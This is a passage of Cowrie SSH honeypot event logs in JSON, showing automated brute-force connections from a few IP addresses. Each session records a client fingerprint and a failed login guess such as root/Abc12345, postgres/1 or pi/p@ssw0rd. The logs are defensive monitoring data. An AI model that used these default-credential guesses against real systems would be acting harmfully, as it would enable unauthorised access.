s128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:45.572138Z","src_ip":"38.93.206.2","session":"e62ca1a6762e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"115115","message":"login attempt [root/115115] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:45.723028Z","src_ip":"38.93.206.2","session":"e62ca1a6762e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48040,"dst_ip":"10.17.0.5","dst_port":22,"session":"3654f5666aa4","protocol":"ssh","message":"New connection: 91.92.42.227:48040 (10.17.0.5:22) [session: 3654f5666aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:46.102883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:46.545555Z","src_ip":"91.92.42.227","session":"3654f5666aa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:46.549036Z","src_ip":"91.92.42.227","session":"3654f5666aa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:46.774903Z","src_ip":"38.93.206.2","session":"e62ca1a6762e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46956,"dst_ip":"10.17.0.5","dst_port":22,"session":"128c47d486ab","protocol":"ssh","message":"New connection: 45.156.87.147:46956 (10.17.0.5:22) [session: 128c47d486ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:48.257871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:48.273627Z","src_ip":"45.156.87.147","session":"128c47d486ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:48.345840Z","src_ip":"45.156.87.147","session":"128c47d486ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:48.682095Z","src_ip":"91.92.42.227","session":"3654f5666aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:48.714594Z","src_ip":"45.156.87.147","session":"128c47d486ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:49.799664Z","src_ip":"45.156.87.147","session":"128c47d486ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:50.180340Z","src_ip":"91.92.42.227","session":"3654f5666aa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48082,"dst_ip":"10.17.0.5","dst_port":22,"session":"649b8b875a34","protocol":"ssh","message":"New connection: 91.92.42.227:48082 (10.17.0.5:22) [session: 649b8b875a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:52.457538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:52.968253Z","src_ip":"91.92.42.227","session":"649b8b875a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:52.971386Z","src_ip":"91.92.42.227","session":"649b8b875a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49882,"dst_ip":"10.17.0.5","dst_port":22,"session":"9940ae3d0f9e","protocol":"ssh","message":"New connection: 45.156.87.147:49882 (10.17.0.5:22) [session: 9940ae3d0f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:54.582016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:54.586124Z","src_ip":"45.156.87.147","session":"9940ae3d0f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:54.669013Z","src_ip":"45.156.87.147","session":"9940ae3d0f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:54.923795Z","src_ip":"45.156.87.147","session":"9940ae3d0f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:55.440500Z","src_ip":"91.92.42.227","session":"649b8b875a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:56.013660Z","src_ip":"45.156.87.147","session":"9940ae3d0f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:57.297122Z","src_ip":"91.92.42.227","session":"649b8b875a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46030,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c9e45b2ddc6","protocol":"ssh","message":"New connection: 91.92.42.227:46030 (10.17.0.5:22) [session: 9c9e45b2ddc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:58.655249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:59.372487Z","src_ip":"91.92.42.227","session":"9c9e45b2ddc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:59.379448Z","src_ip":"91.92.42.227","session":"9c9e45b2ddc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38278,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bf35bb71eea","protocol":"ssh","message":"New connection: 45.156.87.147:38278 (10.17.0.5:22) [session: 9bf35bb71eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:00.786079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:00.790099Z","src_ip":"45.156.87.147","session":"9bf35bb71eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:00.886802Z","src_ip":"45.156.87.147","session":"9bf35bb71eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:01.140290Z","src_ip":"45.156.87.147","session":"9bf35bb71eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:02.228333Z","src_ip":"45.156.87.147","session":"9bf35bb71eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:03.258235Z","src_ip":"91.92.42.227","session":"9c9e45b2ddc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:05.129169Z","src_ip":"91.92.42.227","session":"9c9e45b2ddc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53958,"dst_ip":"10.17.0.5","dst_port":22,"session":"26c41a9edc59","protocol":"ssh","message":"New connection: 91.92.42.227:53958 (10.17.0.5:22) [session: 26c41a9edc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:05.222903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:05.907947Z","src_ip":"91.92.42.227","session":"26c41a9edc59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:05.911498Z","src_ip":"91.92.42.227","session":"26c41a9edc59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38280,"dst_ip":"10.17.0.5","dst_port":22,"session":"12482dab02f4","protocol":"ssh","message":"New connection: 45.156.87.147:38280 (10.17.0.5:22) [session: 12482dab02f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:06.925567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:06.930393Z","src_ip":"45.156.87.147","session":"12482dab02f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:07.013001Z","src_ip":"45.156.87.147","session":"12482dab02f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:07.289914Z","src_ip":"45.156.87.147","session":"12482dab02f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:08.376203Z","src_ip":"45.156.87.147","session":"12482dab02f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00165963172913,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:09.004726Z","src_ip":"128.199.209.169","session":"b792c5370fbc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pi","password":"p@ssw0rd","message":"login attempt [pi/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:09.778578Z","src_ip":"91.92.42.227","session":"26c41a9edc59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:11.741014Z","src_ip":"91.92.42.227","session":"26c41a9edc59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54004,"dst_ip":"10.17.0.5","dst_port":22,"session":"65caae20eb35","protocol":"ssh","message":"New connection: 91.92.42.227:54004 (10.17.0.5:22) [session: 65caae20eb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:11.745394Z"}
